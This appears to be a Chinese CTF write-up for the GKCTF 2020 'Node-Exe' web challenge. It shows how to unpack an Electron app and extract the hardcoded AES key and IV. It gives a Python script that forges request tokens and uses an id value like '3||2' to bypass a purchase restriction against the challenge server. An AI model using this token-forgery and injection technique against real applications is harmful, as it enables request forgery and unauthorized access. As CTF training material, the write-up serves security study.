GKCTF 2020(web)——Node-Exe

下载附件,填上题目地址,用户名密码都为admin
在这里插入图片描述
花钱买flag,Proxifier配合burp抓包
在这里插入图片描述
正常的回显为
在这里插入图片描述
在这里插入图片描述

通过抓包发现,请求除了包含基本的请求体,还有一个token。每次token请求均不同,且更改请求体后token失效,请求也无法重放,所以推断出token必然是以一定规则在本地生成的
把安装文件解压
在这里插入图片描述
把app.asar文件用工具解包(懒得安装环境 网上下了个工具)
http://www.pc6.com/softview/SoftView_799231.html
在这里插入图片描述
首先查看package.json
在这里插入图片描述
页面是基于vue构建的,同时也发现了库crypto和js-md5。所以即使js源文件被webpack,也可以通过搜索methods关键词找到token生成函数的位置,同时推测token加密使用了md5和另一种加密方式
再查看/dist/electron/renderer.js
在这里插入图片描述
用sublime的插件格式化整个文档
整理后得到的代码为

methods: {
           encrypt: function(e, i, t) {
               var o = this;
               return c()(a.a.mark((function n() {
                   return a.a.wrap((function(o) {
                       for (;;) switch (o.prev = o.next) {
                       case 0:
                           return o.abrupt("return", new s.a((function(o) {
                               var n = p.a.createCipheriv("aes-128-cbc", e, i),
                               r = n.update(t, "utf8", "binary");
                               r += n.final("binary"),
                               o(r = new Buffer.from(r, "binary").toString("hex"))
                           })));
                       case 1:
                       case "end":
                           return o.stop()
                       }
                   }), n, o)
               })))()
           },
           makeToken: function(e) {
               var i = this;
               return c()(a.a.mark((function t() {
                   var o, r;
                   return a.a.wrap((function(t) {
                       for (;;) switch (t.prev = t.next) {
                       case 0:
                           return "31169fedc9a20ecf",
                           "d96adeefaa0102a9",
                           o = f()(n()(e)),
                           t.next = 5,
                           i.encrypt("31169fedc9a20ecf", "d96adeefaa0102a9", o);
                       case 5:
                           return r = t.sent,
                           t.abrupt("return", r);
                       case 7:
                       case "end":
                           return t.stop()
                       }
                   }), t, i)
               })))()
           },
           buyFlag: function(e) {
               var i = this;
               return c()(a.a.mark((function t() {
                   var o;
                   return a.a.wrap((function(t) {
                       for (;;) switch (t.prev = t.next) {
                       case 0:
                           return o = {
                               id: e,
                               timestamp: Date.parse(new Date)
                           },
                           t.t0 = i.$http,
                           t.t1 = i.url + "/buyflag",
                           t.t2 = o,
                           t.next = 6,
                           i.makeToken(o);
                       case 6:
                           t.t3 = t.sent,
                           t.t4 = {
                               token: t.t3
                           },
                           t.t5 = {
                               headers: t.t4
                           },
                           t.t6 = function(e) {
                               i.$Modal.info({
                                   title: "购买结果",
                                   content: e.data[0].flag
                               })
                           },
                           t.t0.post.call(t.t0, t.t1, t.t2, t.t5).then(t.t6);
                       case 11:
                       case "end":
                           return t.stop()
                       }
                   }), t, i)
               })))()
           }
       },

这段是加密函数,加密使用了aes加密,转到调用函数makeToken寻找key和iv
在这里插入图片描述
可以得知加密使用的key和iv,但传入加密函数的并非传入生成函数的参数e,而是经过f和n函数处理得到的结果o。
在这里插入图片描述
但此时已经可以根据获得的key和iv对token进行初步解密了。解密后是一串长度为32的字符,基本可以推断这是一些信息的md5加密结果,与发送的json信息的MD5值相同。
在这里插入图片描述

回到renderer.js,module结构如下:

module.exports = function(e){...}([function(e){}...]);

这一格式为js的IIFE函数,这种函数在定义处便执行,其中的变量不可从外部访问。我们从他的定义函数中寻找未知的函数n
在这里插入图片描述
此函数实现的js引擎中的stringify基础功能的一部分,用于解析字符串。结合请求体,可推断处调用的函数为toString(),不过此处并不重要,我们先前已经得知使用了md5加密。
在这里插入图片描述
对照得知,传入makeToken函数的是请求体,且timestamp的形成过程可知
在这里插入图片描述

token是由MD5,加密过的带timestamp的请求体后使用aes加密(aes-128-cbc)得到的

所以我们要做的就是利用key和iv伪造这个token,但直接传值id=3会被禁止购买
在这里插入图片描述
加上允许购买的id值绕过限制 “id”:“3||1” 或者 “id”:“3or2” 道理一样的

有时候可能因为网络延迟的问题,timestamp没对上,token就不对了
在这里插入图片描述
Exp

# -*- coding: utf-8 -*-
import datetime
import hashlib
import time
from binascii import b2a_hex
import requests
from Crypto.Cipher import AES

def plaintext(text):
	#PKCS5Padding
	BLOCK_SIZE = 16
	pad = lambda s: (s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE))
	raw = pad(str(text))
	return raw
def encrypt_aes(text, key, iv):
	#加密方式:aes-128-cbc
	#padding : PKCS5
	cipher = AES.new(key, AES.MODE_CBC,iv)
        result_aes = cipher.encrypt(plaintext(text))
        result_aes = str(b2a_hex(result_aes))
        return result_aes
def timestamp():
	dtime = datetime.datetime.now()
	timestamp = str(int(time.mktime(dtime.timetuple())))
	return timestamp
def md5_encode(dataJSON):
	md5_encode=hashlib.md5(dataJSON.encode(encoding='UTF-8')).hexdigest()
	return md5_encode
def payload(token):
	headers = {
    'token': token,
    'Content-Type': 'application/json;charset=UTF-8',
    'Connection': 'keep-alive',
    'Accept': 'application/json, text/plain, */*'
	}
	return headers
if __name__ == "__main__":
	key = "31169fedc9a20ecf"
	iv = "d96adeefaa0102a9"
	url = "http://68d1a0b7-c517-4eee-847f-7ec5f4931a80.node3.buuoj.cn/buyflag"
	dataJSON = '{"id":"3||2","timestamp":' + timestamp() + '000}'
	#print dataJSON
	token = encrypt_aes(md5_encode(dataJSON), key, iv)
	r = requests.post(url, data=dataJSON, headers=payload(token))
	print r.content.decode("utf-8")
	print r.headers

在这里插入图片描述

参考:

https://glotozz.github.io/2020/05/24/gkctf-wp/#node-exe
https://blog.csdn.net/weixin_43784056/article/details/106479151?fps=1&locationNum=2

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值